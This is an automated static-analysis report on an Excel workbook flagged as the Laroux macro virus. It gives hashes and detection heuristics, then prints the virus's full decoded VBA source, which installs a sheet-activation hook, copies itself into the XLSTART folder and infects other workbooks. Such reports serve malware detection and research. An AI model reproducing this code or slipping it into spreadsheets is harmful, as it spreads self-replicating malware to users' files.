Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 7dd9997743748120…

MALICIOUS

Office (OLE)

34.0 KB Created: 1980-01-04 11:26:19 Authoring application: Microsoft Excel First seen: 2015-04-05
MD5: 72ea9cb90832f10c28c8e0d77710bf37 SHA-1: b85783de1c21f1f9c74d0925fe31ac7f00204488 SHA-256: 7dd999774374812061dc593daa0d7a7fa7d605f091cc54eee8c2faa22e344b88
288 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

This Excel file contains VBA macros indicative of the Laroux family, specifically designed for self-propagation. The 'auto_open' subroutine sets up an 'OnSheetActivate' hook to copy malicious content to other workbooks. Furthermore, the script attempts to establish persistence by saving a copy of itself as '1.XLS' into the Excel startup directory (XLSTART).

Heuristics 6

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1860 bytes
SHA-256: a9dbe828488214bf01f806d1961da0b1747407b1fcb605e88e4d03ac2f1a5a46
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"


Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "1.XLS")
    If m$ = "1.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10

Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "1.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "1.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("1.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "1.xls!check_files"
    Case Else
End Select
End Sub

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